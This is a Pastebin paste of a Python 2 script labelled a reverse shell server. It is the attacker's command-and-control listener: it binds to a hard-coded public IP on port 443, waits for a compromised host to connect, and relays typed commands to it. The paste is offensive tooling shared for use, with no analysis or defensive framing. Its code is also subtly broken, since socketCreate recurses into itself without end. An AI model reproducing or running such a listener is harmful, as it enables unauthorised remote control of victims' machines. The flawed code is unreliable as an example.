Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Python Server Reverse Shell Example
- import socket, os, sys
- def socketCreate():
- try:
- global host
- global port
- global s
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- host = '95.146.15.133'
- port = 443
- socketCreate()
- port = int(port)
- except socket.error as msg:
- print('Socket creation error: ' + str(msg))
- def socketBind():
- try:
- print('Binding socket at port %s' %port)
- s.bind((host, port))
- s.listen(1)
- except socket.error as msg:
- print('[!] Socket binding error: ' + str(msg))
- print('[*] Retrying...')
- socketBind()
- def socketAccept():
- global conn
- global addr
- global hostname
- try:
- conn, addr = s.accept()
- print('[*] Session opened at %s:%s' %(addr[0],addr[1]))
- hostname = conn.recv(1024)
- menu()
- except socket.error as msg:
- print('Socket accepting error: ' + str(msg))
- def menu():
- while 1:
- cmd = raw_input(str(addr[0])+'@' + str(hostname) + '> ')
- if cmd == 'quit':
- conn.close()
- s.close()
- sys.exit()
- command = conn.send(cmd)
- result = conn.recv(16834)
- if result <> hostname:
- print result
- def main():
- socketCreate()
- socketBind()
- socketAccept()
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement